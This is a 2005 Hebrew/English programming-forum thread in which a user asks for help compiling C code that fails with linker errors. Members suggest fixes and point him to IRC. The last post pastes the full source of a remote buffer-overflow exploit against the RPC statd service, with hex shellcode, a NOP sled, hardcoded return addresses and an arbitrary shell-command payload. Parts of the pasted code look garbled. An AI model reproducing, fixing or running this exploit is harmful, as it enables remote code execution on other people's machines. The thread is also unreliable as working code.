נושאים פעיליםנושאים פעילים  הצגת רשימה של חברי הפורוםרשימת משתמשים  חיפוש בפורוםחיפוש  עזרהעזרה
  הרשמההרשמה  התחברותהתחברות RSS עדכונים
תיכנות
RSS UnderWarrior Forums : RSS תיכנות
נושא

נושא: a problem compiling(on linux)

שליחת תגובהשליחת נושא חדש
כותב
הודעה << נושא קודם | נושא הבא >>
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 30 June 2005 בשעה 13:08 | IP רשוּם
ציטוט ShadowBeast

קוד:

well, as you can see   
i cant type hebrew...   
nvm(i type faster in english:-)   
   
i'm on linux, unfortunatlly - its a live cd debian-like   
distribution, knoppix   
i use it because my pc has an odd problem with more than   
one OS(not only linux, but 2 windows systems don't seem   
to work together either)   
   
anyway   
the problem is:   
i try to compile a c file (obviusly using the the gcc   
compiler)   
and after it got compiled (with some warnings) i saw   
the exe file, but when i tried to use it - it told me   
that its not there   
and it wasn't there any more   
when i compiled again, it didn't even appear   
   
any one knows the problem?   


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 30 June 2005 בשעה 16:09 | IP רשוּם
ציטוט ShadowBeast

קוד:

again, on a linux live-cd
this time PcLinuxOS, i thougt it might work better
there.
it dosn't =\
its still NOT working
with the same warnings and simptoms(first time, etc...)
well, here is the complete "error and warning" log:
[root@localhost exploit]# gcc exp.c -o exp.exe
exp.c: In function `main':
exp.c:96: warning: passing arg 3 of pointer to function
from incompatible pointer type
exp.c:96: warning: passing arg 5 of pointer to function
from incompatible pointer type
/tmp/ccYaLkPE.o(.text+0x2ec): In function `main':
: undefined reference to `xdr_sm_stat_res'
/tmp/ccYaLkPE.o(.text+0x2f5): In function `main':
: undefined reference to `xdr_mon'
collect2: ld returned 1 exit status

i'm sure this would help...




__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
Nameless
אחראי פורומים
אחראי פורומים


הצטרף / הצטרפה: 08 March 2005
מדינה: Armenia
משתמש: מנותק/ת
הודעות: 69
נשלח בתאריך: 30 June 2005 בשעה 22:20 | IP רשוּם
ציטוט Nameless

תנסה לתקן את הארורים. זה מעיד על באגים.
אל תקמפל לפני שהכול בסדר.

ואם אני לא טועה אתה עובד מחשבון root.
זה לא מומלץ. מאוד לא מומלץ.
וערכתי לך את ההודעה - שגיאות כתיב (אני מקווה שלא עשיתי כמה בעצמי )






__________________
meow
חזרה לתחילת העמוד הצג את כרטיס החבר של Nameless חפש הודעות אחרות של Nameless
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 01 July 2005 בשעה 17:58 | IP רשוּם
ציטוט ShadowBeast

לא מצאתי את הבעיות בקוד(הוא לא שלי לצערי)
אני מתחבר מחשבון root בגלל שכמו שאמרתי, זה live-cd ככה ש... מה כבר יכול לקרות?

נ.ב.
איפה היו השגיאות כתיב?
אני בדקתי 90% מהמילים...


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 01 July 2005 בשעה 20:12 | IP רשוּם
ציטוט ShadowBeast

קוד:

well again on a live-cd   
this time knoppix again   
well, wtf is this warning?   
   
warning: passing arg 3 of pointer to function from   
incompatible pointer type   
   
warning: passing arg 5 of pointer to function from   
incompatible pointer type   
   
its in another file!   
with nothing to do with this other file!   


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 01 July 2005 בשעה 20:46 | IP רשוּם
ציטוט ניר

נפתרה הבעיה?

__________________
מספר האייסיקיו שלי ו/או כתובת ה-MSN שלי אינם מהווים מוקד תמיכה
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 01 July 2005 בשעה 20:59 | IP רשוּם
ציטוט ShadowBeast

שום בעייה לא נפתרה...
באף אחד מהקבצים...

אני יכול להביא את הקודים
רק תגידו


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 01 July 2005 בשעה 21:16 | IP רשוּם
ציטוט ניר

ניסית לשאול ב-NIX? הרבה משתמשים שם בלינוקס

__________________
מספר האייסיקיו שלי ו/או כתובת ה-MSN שלי אינם מהווים מוקד תמיכה
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 02 July 2005 בשעה 00:19 | IP רשוּם
ציטוט ShadowBeast

NIX? שרת הIRC של IKP?(הרבה קיצורים עם 3 אותיות...)
אז באיזה ערוץ? IKP?


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 02 July 2005 בשעה 00:27 | IP רשוּם
ציטוט ניר

בדיוק. IKP או PHP, כל הרשת שם +-

__________________
מספר האייסיקיו שלי ו/או כתובת ה-MSN שלי אינם מהווים מוקד תמיכה
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 02 July 2005 בשעה 00:51 | IP רשוּם
ציטוט ShadowBeast

אני עכשיו בערוץ של IKP...
אמרו שכל הקוד דפוק לגמרי


__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 
ניר
מנהל האתר
מנהל האתר
סמל אישי

הצטרף / הצטרפה: 12 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 3296
נשלח בתאריך: 02 July 2005 בשעה 00:55 | IP רשוּם
ציטוט ניר

יש מצב, תדביק ת'קוד 

__________________
מספר האייסיקיו שלי ו/או כתובת ה-MSN שלי אינם מהווים מוקד תמיכה
חזרה לתחילת העמוד הצג את כרטיס החבר של ניר חפש הודעות אחרות של ניר בקר בדף הבית של ניר
 
ShadowBeast
אחראי פורומים
אחראי פורומים
סמל אישי

הצטרף / הצטרפה: 22 January 2005
מדינה: Israel
משתמש: מנותק/ת
הודעות: 1073
נשלח בתאריך: 02 July 2005 בשעה 01:07 | IP רשוּם
ציטוט ShadowBeast

קוד:



#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;

/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

char asmcode[] ="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\x c7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x 47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x 89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x 0


1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x0 2\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";

char code[4096];

void usage(char *s) {
   printf("Usage: %s host [cmd]\n", s);
   exit(0);
}

main(int argc, char *argv[]) {
   CLIENT *cl;
   enum clnt_stat stat;
   struct timeval tm;
   struct mon monreq;
   struct sm_stat_res monres;
   struct hostent *hp;
   struct sockaddr_in target;
   int sd, i, noplen=strlen(nop);
   char *ptr=code;

   if (argc < 2)
    usage(argv[0]);
   if (argc == 3)
    cmd[2]=argv[2];

   for (i=0; i< sizeof(code); i++)
    *ptr++=nop[i % noplen];

   strcpy(&code[750], asmcode);   /* XXX temp. */
   ptr=code+strlen(code);
   for (i=0; i<=strlen(cmd[0]); i++)
    *ptr++=cmd[0]-1;
   for (i=0; i<=strlen(cmd[1]); i++)
    *ptr++=cmd[1]-1;
   for (i=0; i<=strlen(cmd[2]); i++)
    *ptr++=cmd[2]-1;
   ptr=code+BUFSIZE-(ADDRS<<2);
   for (i=0; i<ADDRS; i++, ptr+=4)
    *(int *)ptr=ADDRP;
   *ptr=0;

   printf("strlen = %d\n", strlen(code));

   memset(&monreq, 0, sizeof(monreq));
   monreq.mon_id.my_id.my_name="localhost";
   monreq.mon_id.my_id.my_prog=0;
   monreq.mon_id.my_id.my_vers=0;
   monreq.mon_id.my_id.my_proc=0;
   monreq.mon_id.mon_name=code;

   if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
   }
   target.sin_family=AF_INET;
   target.sin_addr.s_addr=*(u_long *)hp->h_addr;
   target.sin_port=0;    /* ask portmap */
   sd=RPC_ANYSOCK;

   tm.tv_sec=10;
   tm.tv_usec=0;
   if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
   }
   stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                 (char *)&monres, tm);
   if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
   else
    printf("stat_res = %d.\n", monres.res_stat);
   clnt_destroy(cl);
}








__________________
The highest knowledge is to know that we are surrounded by mystery - Albert Schweitzer

He who will not take the hint, must take the consequence - Glenn v. Covey (1854)

ShadowBeast
חזרה לתחילת העמוד הצג את כרטיס החבר של ShadowBeast חפש הודעות אחרות של ShadowBeast
 

אם ברצונך להגיב לנושא זה עליך קודם להתחבר
אם אינך רשום/ה כבר עליך להרשם

  שליחת תגובהשליחת נושא חדש
גרסת הדפסה גרסת הדפסה

קפיצה לפורום
אינך יכול/ה לשלוח נושאים חדשים בפורום זה
אינך יכול/ה להגיב לנושאים בפורום זה
אינך יכול/ה למחוק את הודעותיך ותגוביך בפורום זה
אינך יכול/ה לערוך את הודעותיך ותגובותיך בפורום זה
אינך יכול/ה לצור סקרים בפורום זה
אינך יכול/ה להצביע בסקרים בפורום זה